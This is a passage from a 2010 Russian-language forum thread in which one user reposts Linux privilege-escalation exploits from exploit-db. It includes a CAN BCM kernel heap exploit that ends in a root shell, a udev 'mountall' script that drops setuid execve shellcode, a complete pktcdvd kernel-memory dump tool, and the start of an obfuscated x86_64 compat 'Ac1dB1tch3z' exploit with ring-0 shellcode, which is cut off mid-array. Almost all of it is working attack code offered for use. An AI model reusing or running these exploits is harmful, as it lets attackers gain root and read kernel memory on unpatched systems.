    	unsigned long s_blocksize;
    	unsigned char s_blocksize_bits;
    	unsigned char s_dirt;
    	uint64_t s_maxbytes;
    	void *s_type;
    	void *s_op;
    	void *dq_op;
    	void *s_qcop;
    	void *s_export_op;
    	unsigned long s_flags;
    } super_block;
    
    struct mutex {
    	unsigned int count;
    	unsigned int wait_lock;
    	struct list_head wait_list;
    	void *owner;
    };
    
    struct inode {
    	struct list_head i_hash;
    	struct list_head i_list;
    	struct list_head i_sb_list;
    	struct list_head i_dentry_list;
    	unsigned long i_ino;
    	unsigned int i_count;
    	unsigned int i_nlink;
    	unsigned int i_uid;
    	unsigned int i_gid;
    	unsigned int i_rdev;
    	uint64_t i_version;
    	uint64_t i_size;
    	unsigned int i_size_seqcount;
    	long i_atime_tv_sec;
    	long i_atime_tv_nsec;
    	long i_mtime_tv_sec;
    	long i_mtime_tv_nsec;
    	long i_ctime_tv_sec;
    	long i_ctime_tv_nsec;
    	uint64_t i_blocks;
    	unsigned int i_blkbits;
    	unsigned short i_bytes;
    	unsigned short i_mode;
    	unsigned int i_lock;
    	struct mutex i_mutex;
    	unsigned int i_alloc_sem_activity;
    	unsigned int i_alloc_sem_wait_lock;
    	struct list_head i_alloc_sem_wait_list;
    	void *i_op;
    	void *i_fop;
    	struct super_block *i_sb;
    	void *i_flock;
    	void *i_mapping;
    	char i_data[84];
    	void *i_dquot_1;
    	void *i_dquot_2;
    	struct list_head i_devices;
    	void *i_pipe_union;
    	unsigned int i_generation;
    	unsigned int i_fsnotify_mask;
    	void *i_fsnotify_mark_entries;
    	struct list_head inotify_watches;
    	struct mutex inotify_mutex;
    } inode;
    
    struct dentry {
    	unsigned int d_count;
    	unsigned int d_flags;
    	unsigned int d_lock;
    	int d_mounted;
    	void *d_inode;
    	struct list_head d_hash;
    	void *d_parent;
    } dentry;
    
    struct file_operations {
    	void *owner;
    	void *llseek;
    	void *read;
    	void *write;
    	void *aio_read;
    	void *aio_write;
    	void *readdir;
    	void *poll;
    	void *ioctl;
    	void *unlocked_ioctl;
    	void *compat_ioctl;
    	void *mmap;
    	void *open;
    	void *flush;
    	void *release;
    	void *fsync;
    	void *aio_fsync;
    	void *fasync;
    	void *lock;
    	void *sendpage;
    	void *get_unmapped_area;
    	void *check_flags;
    	void *flock;
    	void *splice_write;
    	void *splice_read;
    	void *setlease;
    } op;
    
    struct vfsmount {
    	struct list_head mnt_hash;
    	void *mnt_parent;
    	void *mnt_mountpoint;
    	void *mnt_root;
    	void *mnt_sb;
    	struct list_head mnt_mounts;
    	struct list_head mnt_child;
    	int mnt_flags;
    	const char *mnt_devname;
    	struct list_head mnt_list;
    	struct list_head mnt_expire;
    	struct list_head mnt_share;
    	struct list_head mnt_slave_list;
    	struct list_head mnt_slave;
    	struct vfsmount *mnt_master;
    	struct mnt_namespace *mnt_ns;
    	int mnt_id;
    	int mnt_group_id;
    	int mnt_count;
    } vfsmount;
    
    struct file {
    	struct list_head fu_list;
    	struct vfsmount *f_vfsmnt;
    	struct dentry *f_dentry;
    	void *f_op;
    	unsigned int f_lock;
    	unsigned long f_count;
    } file;
    
    struct kern_ipc_perm {
    	unsigned int lock;
    	int deleted;
    	int id;
    	unsigned int key;
    	unsigned int uid;
    	unsigned int gid;
    	unsigned int cuid;
    	unsigned int cgid;
    	unsigned int mode;
    	unsigned int seq;
    	void *security;
    };
    
    struct shmid_kernel {
    	struct kern_ipc_perm shm_perm;
    	struct file *shm_file;
    	unsigned long shm_nattch;
    	unsigned long shm_segsz;
    	time_t shm_atim;
    	time_t shm_dtim;
    	time_t shm_ctim;
    	unsigned int shm_cprid;
    	unsigned int shm_lprid;
    	void *mlock_user;
    } shmid_kernel;
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    int __attribute__((regparm(3)))
    kernel_code(struct file *file, void *vma)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return -1;
    }
    
    unsigned long
    get_symbol(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[512];
    	int ret = 0, oldstyle;
    
    	f = fopen("/proc/kallsyms", "r");
    	if (f == NULL) {
    		f = fopen("/proc/ksyms", "r");
    		if (f == NULL)
    			return 0;
    		oldstyle = 1;
    	}
    
    	while (ret != EOF) {
    		if (!oldstyle) {
    			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
    		} else {
    			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
    			if (ret == 2) {
    				char *p;
    				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
    					continue;
    				}
    				p = strrchr(sname, '_');
    				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
    					p = p - 4;
    					while (p > (char *)sname && *(p - 1) == '_') {
    						p--;
    					}
    					*p = '\0';
    				}
    			}
    		}
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
    			fclose(f);
    			return addr;
    		}
    	}
    	fclose(f);
    
    	return 0;
    }
    
    int
    check_slabinfo(char *cache, int *active_out, int *total_out)
    {
    	FILE *fp;
    	char name[64], slab[256];
    	int active, total, diff;
    
    	memset(slab, 0, sizeof(slab));
    	memset(name, 0, sizeof(name));
    
    	fp = fopen("/proc/slabinfo", "r");
    	if (!fp) {
    		printf("[-] sorry, /proc/slabinfo is not available!");
    		exit(1);
    	}
    
    	fgets(slab, sizeof(slab) - 1, fp);
    	while (1) {
    		fgets(slab, sizeof(slab) - 1, fp);
    		sscanf(slab, "%s %u %u", name, &active, &total);
    		diff = total - active;
    		if (strcmp(name, cache) == 0) {
    			break;
    		}
    	}
    	fclose(fp);
    
    	if (active_out) {
    		*active_out = active;
    	}
    	if (total_out) {
    		*total_out = total;
    	}
    	return diff;
    }
    
    void
    trigger(void)
    {
    	int *shmids;
    	int i, ret, sock, cnt, base, smashed;
    	int diff, active, total, active_new, total_new;
    	int len, sock_len, mmap_len;
    	struct sockaddr_can addr;
    	struct bcm_msg_head *msg;
    	void *efault;
    	char *buf;
    
    	printf("[+] creating PF_CAN socket...\n");
    
    	sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    	if (sock < 0) {
    		printf("[-] kernel lacks CAN packet family support\n");
    		exit(1);
    	}
    
    	printf("[+] connecting PF_CAN socket...\n");
    
    	memset(&addr, 0, sizeof(addr));
    	addr.can_family = PF_CAN;
    
    	ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
    	if (sock < 0) {
    		printf("[-] could not connect CAN socket\n");
    		exit(1);
    	}
    
    	len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
    	msg = malloc(len);
    	memset(msg, 0, len);
    	msg->can_id = 2959;
    	msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
    
    	printf("[+] clearing out any active OPs via RX_DELETE...\n");
    	
    	msg->opcode = RX_DELETE;
    	ret = send(sock, msg, len, 0);
    
    	printf("[+] removing any active user-owned shmids...\n");
    
    	system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
    
    	printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
    
    	diff = check_slabinfo(SLUB, &active, &total);
    
    	shmids = malloc(sizeof(int) * diff * 10);
    
    	cnt = diff * 10;
    	for (i = 0; i < cnt; ++i) {
    		diff = check_slabinfo(SLUB, &active, &total);
    		if (diff == 0) {
    			break;
    		}
    		shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    	}
    	base = i;
    
    	if (diff != 0) {
    		printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
    		exit(1);
    	}
    
    	printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
    
    	i = base;
    	cnt = i + FILLER;
    	for (; i < cnt; ++i) {
    		shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    	}
    
    	msg->opcode = RX_SETUP;
    	ret = send(sock, msg, len, 0);
    	if (ret < 0) {
    		printf("[-] kernel rejected malformed CAN header\n");
    		exit(1);
    	}
    
    	i = base + FILLER;
    	cnt = i + FILLER;
    	for (; i < cnt; ++i) {
    		shmids = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    	}
    
    	printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
    
    	mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
    	sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
    	efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    	printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
    
    	printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
    
    	msg = (struct bcm_msg_head *) efault;
    	memset(msg, 0, mmap_len);
    	msg->can_id = 2959;
    	msg->nframes = (ALLOCATION / 16) * 4;
    
    	msg->opcode = RX_SETUP;
    	ret = send(sock, msg, mmap_len, 0);
    	if (ret != -1 && errno != EFAULT) {
    		printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
    		exit(1);
    	}
    
    	printf("[+] seeking out the smashed shmid_kernel...\n");
    
    	i = base;
    	cnt = i + FILLER + FILLER;
    	for (; i < cnt; ++i) {
    		ret = (int) shmat(shmids, NULL, SHM_RDONLY);
    		if (ret == -1 && errno == EIDRM) {
    			smashed = i;
    			break;
    		}
    	}
    	if (i == cnt) {
    		printf("[-] could not find smashed shmid, trying running the exploit again!\n");
    		exit(1);
    	}
    	
    	printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids);
    
    	printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
    
    	shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
    
    	buf = (char *) msg;
    	memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel)); 
    
    	msg->opcode = RX_SETUP;
    	ret = send(sock, msg, mmap_len, 0);
    	if (ret != -1 && errno != EFAULT) {
    		printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
    		exit(1);
    	}
    	
    	ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
    	if (ret == -1 && errno != EIDRM) {
    		setresuid(0, 0, 0);
    		setresgid(0, 0, 0);
    
    		printf("[+] launching root shell!\n");
    
    		execl("/bin/bash", "/bin/bash", NULL);
    		exit(0);
    	}
    
    	printf("[-] exploit failed! retry?\n");
    }
    
    void
    setup(void)
    {
    	printf("[+] looking for symbols...\n");
    
    	commit_creds = (_commit_creds) get_symbol("commit_creds");
    	if (!commit_creds) {
    		printf("[-] symbol table not availabe, aborting!\n");
    	}
    
    	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    	if (!prepare_kernel_cred) {
    		printf("[-] symbol table not availabe, aborting!\n");
    	}
    
    	printf("[+] setting up exploit payload...\n");
    
    	super_block.s_flags = 0;
    
    	inode.i_size = 4096;
    	inode.i_sb = &super_block;
    	inode.inotify_watches.next = &inode.inotify_watches;
    	inode.inotify_watches.prev = &inode.inotify_watches;
    	inode.inotify_mutex.count = 1;
    
    	dentry.d_count = 4096;
    	dentry.d_flags = 4096;
    	dentry.d_parent = NULL;
    	dentry.d_inode = &inode;
    
    	op.mmap = &kernel_code;
    	op.get_unmapped_area = &kernel_code;
    
    	vfsmount.mnt_flags = 0;
    	vfsmount.mnt_count = 1;
    
    	file.fu_list.prev = &file.fu_list;
    	file.fu_list.next = &file.fu_list;
    	file.f_dentry = &dentry;
    	file.f_vfsmnt = &vfsmount;
    	file.f_op = &op;
    
    	shmid_kernel.shm_perm.key = IPC_PRIVATE;
    	shmid_kernel.shm_perm.uid = getuid();
    	shmid_kernel.shm_perm.gid = getgid();
    	shmid_kernel.shm_perm.cuid = getuid();
    	shmid_kernel.shm_perm.cgid = getgid();
    	shmid_kernel.shm_perm.mode = -1;
    	shmid_kernel.shm_file = &file;
    }
    
    int
    main(int argc, char **argv)
    {
    	setup();
    	trigger();
    	return 0;
    }

    http://www.exploit-db.com/exploits/14814/
     
    9 ноя 2010
  8. onthar
    onthar Продвинутый
    Симпатии:
    224
    Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
    Код:
    # Exploit Title:	Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
    # Date: 		24-10-2010
    # Author: 		jmit
    # Mail: 		fhausberger[at]gmail[dot]com 
    # Tested on: 		Debian 5.0.6
    # CVE:			CVE-2010-3856
    
    http://www.exploit-db.com/papers/15311/
     
    9 ноя 2010
  9. onthar
    onthar Продвинутый
    Симпатии:
    224
    Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability
    http://www.exploit-db.com/exploits/15074/
    Source: http://www.securityfocus.com/bid/43084/info
    Код:
    #!/bin/sh
    # by fuzz. For Anux inc. #
    # ubuntu 10.04 , 10.10
    if [ -z "$1" ]
    then
            echo "usage: $0 <UDEV KERNEL EVENT>"
            echo "see here http://www.reactivated.net/writing_udev_rules.html"
            exit
    fi
    cat > usn985-exploit.sh << EOF
    #!/bin/sh
    chown root:root $PWD/usn985-sc
    chmod +s $PWD/usn985-sc
    EOF
    cat > usn985-sc.c << EOF
    char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
    "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
    main(){int *r;*((int *)&r+2)=(int)s;}
    EOF
    gcc usn985-sc.c -o usn985-sc
    echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
    chmod +x usn985-exploit.sh
    echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
    echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"
     
    9 ноя 2010
  10. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
    http://www.exploit-db.com/exploits/15150/
    Код:
    /*
     * cve-2010-3437.c
     *
     * Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
     * Jon Oberheide <jon@oberheide.org>
     * http://jon.oberheide.org
     *
     * Information:
     *
     *   https://bugzilla.redhat.com/show_bug.cgi?id=638085
     *
     *   The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
     *   pktcdvd_device from the global pkt_devs array.  The index into this
     *   array is provided directly by the user and is a signed integer, so the
     *   comparison to ensure that it falls within the bounds of this array will
     *   fail when provided with a negative index.
     *
     * Usage:
     *
     *   $ gcc cve-2010-3437.c -o cve-2010-3437
     *   $ ./cve-2010-3437
     *   usage: ./cve-2010-3437 <address> <length>
     *   $ ./cve-2010-3437 0xc0102290 64
     *   [+] searching for pkt_devs kernel symbol...
     *   [+] found pkt_devs at 0xc086fcc0
     *   [+] opening pktcdvd device...
     *   [+] calculated dereference address of 0x790070c0
     *   [+] mapping page at 0x79007000 for pktcdvd_device dereference...
     *   [+] setting up fake pktcdvd_device structure...
     *   [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
     *   [+] dumping kmem to output...
     *
     *   55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
     *   55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
     *
     * Notes:
     *
     *   Pass the desired kernel memory address and dump length as arguments.
     *
     *   We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
     *   specifying a large negative device index, causing the kernel to
     *   dereference to our fake pktcdvd_device structure in userspace and copy
     *   data to userspace from an attacker-controlled address.  Since only 4
     *   bytes of kmem are disclosed per ioctl call, large dump sizes may take a
     *   few seconds.
     *
     *   Tested on Ubuntu Lucid 10.04.  32-bit only for now.
     */
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/utsname.h>
    #include <sys/mman.h>
     
    #define DEV_INDEX -300000000
    #define PAGE_SIZE 4096
    #define PKT_CTRL_CMD_STATUS 2
     
    struct pkt_ctrl_command {
        uint32_t command;
        int32_t dev_index;
        uint32_t dev;
        uint32_t pkt_dev;
        uint32_t num_devices;
        uint32_t padding;
    };
     
    #define PACKET_IOCTL_MAGIC ('X')
    #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)
     
    struct block_device {
        uint32_t bd_dev;
    } bd;
     
    struct pktcdvd_device {
        struct block_device *bdev;
    } pd;
     
    #define MINORBITS 20
    #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi))
     
    uint32_t
    new_decode_dev(uint32_t dev)
    {
        unsigned major = (dev & 0xfff00) >> 8;
        unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00);
        return MKDEV(major, minor);
    }
     
    const char hex_asc[] = "0123456789abcdef";
    #define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
    #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]
     
    void
    hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
    {
        const uint8_t *ptr = buf;
        uint8_t ch;
        int j, lx = 0;
        int ascii_column;
     
        if (rowsize != 16 && rowsize != 32)
            rowsize = 16;
     
        if (!len)
            goto nil;
        if (len > rowsize)
            len = rowsize;
        if ((len % groupsize) != 0)
            groupsize = 1;
     
        switch (groupsize) {
        case 8: {
            const uint64_t *ptr8 = buf;
            int ngroups = len / groupsize;
     
            for (j = 0; j < ngroups; j++)
                lx += snprintf(linebuf + lx, linebuflen - lx,
                    "%16.16llx ", (unsigned long long)*(ptr8 + j));
            ascii_column = 17 * ngroups + 2;
            break;
        }
     
        case 4: {
            const uint32_t *ptr4 = buf;
            int ngroups = len / groupsize;
     
            for (j = 0; j < ngroups; j++)
                lx += snprintf(linebuf + lx, linebuflen - lx,
                    "%8.8x ", *(ptr4 + j));
            ascii_column = 9 * ngroups + 2;
            break;
        }
     
        case 2: {
            const uint16_t *ptr2 = buf;
            int ngroups = len / groupsize;
     
            for (j = 0; j < ngroups; j++)
                lx += snprintf(linebuf + lx, linebuflen - lx,
                    "%4.4x ", *(ptr2 + j));
            ascii_column = 5 * ngroups + 2;
            break;
        }
     
        default:
            for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
                 j++) {
                ch = ptr[j];
                linebuf[lx++] = hex_asc_hi(ch);
                linebuf[lx++] = hex_asc_lo(ch);
                linebuf[lx++] = ' ';
            }
            ascii_column = 3 * rowsize + 2;
            break;
        }
        if (!ascii)
            goto nil;
     
        while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
            linebuf[lx++] = ' ';
        for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
            linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
                    : '.';
    nil:
        linebuf[lx++] = '\0';
    }
     
    void
    print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
    {
        const uint8_t *ptr = buf;
        int i, linelen, remaining = len;
        unsigned char linebuf[200];
     
        if (rowsize != 16 && rowsize != 32)
            rowsize = 16;
     
        for (i = 0; i < len; i += rowsize) {
            linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
            remaining -= rowsize;
            hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
            linebuf, sizeof(linebuf), ascii);
            printf("%s\n", linebuf);
        }
    }
     
    unsigned long
    get_kernel_symbol(char *name)
    {
        FILE *f;
        unsigned long addr;
        struct utsname ver;
        char dummy, sname[512];
        int ret, rep = 0, oldstyle = 0;
     
        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
            f = fopen("/proc/ksyms", "r");
            if (f == NULL) {
                goto fallback;
            }
            oldstyle = 1;
        }
     
    repeat:
        ret = 0;
        while(ret != EOF) {
            if (!oldstyle) {
                ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
            } else {
                ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                if (ret == 2) {
                    char *p;
                    if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
                        continue;
                    }
                    p = strrchr(sname, '_');
                    if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                        p = p - 4;
                        while (p > (char *)sname && *(p - 1) == '_') {
                            p--;
                        }
                        *p = '\0';
                    }
                }
            }
            if (ret == 0) {
                fscanf(f, "%s\n", sname);
                continue;
            }
            if (!strcmp(name, sname)) {
                fclose(f);
                return addr;
            }
        }
     
        fclose(f);
        if (rep) {
            return 0;
        }
    fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3)) {
            oldstyle = 1;
        }
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL) {
            return 0;
        }
        rep = 1;
        goto repeat;
    }
     
    void
    usage(char **argv)
    {
        fprintf(stderr, "usage: %s <address> <length>\n", argv[0]);
        exit(1);
    }
     
    int
    main(int argc, char **argv)
    {
        int fd, ret, length;
        void *mem, *dump, *ptr;
        struct pkt_ctrl_command cmd;
        unsigned long pkt_devs, map_addr, deref_addr;
        unsigned long start_addr, end_addr, curr_addr;
     
        if (argc < 3) {
            usage(argv);
        }
     
        start_addr = strtoul(argv[1], NULL, 0);
        length = strtoul(argv[2], NULL, 0);
        end_addr = start_addr + length;
     
        dump = malloc(length);
        if (!dump) {
            printf("[-] failed to allocate memory for kmem dump\n");
            exit(1);
        }
        memset(dump, 0, length);
     
        printf("[+] searching for pkt_devs kernel symbol...\n");
     
        pkt_devs = get_kernel_symbol("pkt_devs");
        if (!pkt_devs) {
            printf("[-] could not find pkt_devs kernel symbol\n");
            exit(1);
        }
         
        printf("[+] found pkt_devs at %p\n", (void *) pkt_devs);
     
        printf("[+] opening pktcdvd device...\n");
     
        fd = open("/dev/pktcdvd/control", O_RDWR);
        if (fd < 0) {
            printf("[-] open of pktcdvd device failed\n");
            exit(1);
        }
     
        deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
        map_addr = deref_addr & ~(PAGE_SIZE-1);
     
        printf("[+] calculated dereference address of %p\n", (void *) deref_addr);
        printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr);
     
        mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
        if (mem == MAP_FAILED) {
            printf("[-] mmap failed\n");
            exit(1);
        }
     
        printf("[+] setting up fake pktcdvd_device structure...\n");
     
        *(unsigned long *) deref_addr = (unsigned long) &pd;
     
        printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr);
     
        memset(&cmd, 0, sizeof(cmd));
        cmd.command = PKT_CTRL_CMD_STATUS;
        cmd.dev_index = DEV_INDEX;
     
        ptr = dump;
        curr_addr = start_addr;
     
        while (curr_addr < end_addr) {
            pd.bdev = (struct block_device *) curr_addr;
     
            ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
            if (ret < 0) {
                printf("[-] ioctl of pktcdvd device failed\n");
                exit(1);
            }
     
            *(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);
     
            curr_addr += sizeof(uint32_t);
            ptr += sizeof(uint32_t);
        }
     
        printf("[+] dumping kmem to output...\n");
     
        printf("\n");
        print_hex_dump(32, 1, dump, length, 1);
        printf("\n");
     
        return 0;
    }
    
     
    9 ноя 2010
  11. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel 2.6.27+ x86_64 compat exploit

    Linux Kernel 2.6.27+ x86_64 compat exploit

    Author: ben hawkes
    Published: 2010-09-16

    Сам эксплоит:
    http://www.exploit-db.com/exploits/15023/
    Код:
    /*
     
    Ac1dB1tch3z Vs Linux Kernel x86_64 0day
     
    Today is a sad day..
     
    R.I.P. 
    Tue, 29 Apr 2008  /  Tue, 7 Sep 2010
     
    a bit of history:
    MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
     
    author    David L Stevens <dlstevens () us ibm com>   
        Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
    committer    David S. Miller <davem () davemloft net>   
        Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
    This patch adds support for getsockopt for MCAST_MSFILTER for
    both IPv4 and IPv6. It depends on the previous setsockopt patch,
    and uses the same method.
     
    Signed-off-by: David L Stevens <dlstevens () us ibm com>
    Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org>
    Signed-off-by: David S. Miller <davem () davemloft net>
    ------------------------------------------------------------               
     
    Thank you for signing-off on this one guys.
     
    This exploit has been tested very thoroughly
    over the course of the past few years on many many targets.
     
    Thanks to redhat for being nice enough to backport it into early
    kernel versions (anything from later August 2008+)
     
    Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the
    plan8 man. Just a bit too l8.
     
    PS:
    OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
     
    */
     
    #include <poll.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <sys/wait.h>
    #include <sys/utsname.h>
    #include <sys/socket.h>
    #include <sched.h>
    #include <netinet/in.h>
    #include <stdio.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <sys/ipc.h>
    #include <sys/msg.h>
    #include <errno.h>
     
     
    #ifndef __i386__
    #error "r34d th3 c0d3 m0r0n!!# () #"
    #else
    #define _GNU_SOURCE
    #define __dgdhdytrg55 unsigned int
    #define __yyrhdgdtfs66ytgetrfd unsigned long long
    #define __dhdyetgdfstreg__ memcpy
     
    #define VERT                  "\033[32m"
    #define NORM                  "\033[0m"
    #define BANNER                VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
     
    #define KALLSYMS              "/proc/kallsyms"
    #define TMAGIC_66TDFDRTS      "/proc/timer_list"
    #define SELINUX_PATH          "/selinux/enforce"
    #define RW_FOPS               "timer_list_fops"
    #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
    #define PREPARE_GGDTSGFSRFSD  "prepare_creds"
    #define OVERRIDE_GGDTSGFSRFSD "override_creds"
    #define REVERT_DHDGTRRTEFDTD  "revert_creds"
    #define Y0Y0SMAP              0x100000UL
    #define Y0Y0CMAP              0x200000UL
    #define Y0Y0STOP              (Y0Y0SMAP+0xFFC)
    #define J0J0S                 0x00200000UL
    #define J0J0R00T              0x002000F0UL
    #define PAGE_SIZE             0x1000
     
    #define KERN_DHHDYTMLADSFPYT     0x1
    #define KERN_DGGDYDTEGGETFDRLAK  0x2
    #define KERN_HHSYPPLORQTWGFD     0x4
     
     
    #define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8
    #define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10
    #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20
     
    #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40
     
    #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
     
    #define TRY_REMAP_DEFAULT 1
     
    #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
    #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
    #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
    #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
     
    static char buffer[1024];
    static int s;
    static int flags=0;
    volatile static socklen_t magiclen=0;
    static int useidt=0, usefops=0, uselsm=0;
    static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
    static __dgdhdytrg55 _m_cpu_off=0;
    static char krelease[64];
    static char kversion[128];
     
    #define R0C_0FF 14
    static char ttrg0ccc[]=
    "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41" 
    "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"  
    "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"    
    "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"                  
    "\xeb\xcc\x5e\x5b\x5f\x59\xc3";              
     
     
    #define R0YTTTTUHLFSTT_OFF1 5
    #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
    #define R0TDGFSRSLLSJ_SHSYSTGD 45
    char r1ngrrrrrrr[]=
    "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"                                
    "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42" 
    "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"                             
    "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"  
    "\xff\xd3\x5f\x5f\x5a\x5b\xc3";                                      
     
     
    #define RJMPDDTGR_OFF 13
    #define RJMPDDTGR_DHDYTGSCAVSF 7
    #define RJMPDDTGR_GDTDGTSFRDFT 25
    static char ttrfd0[]=
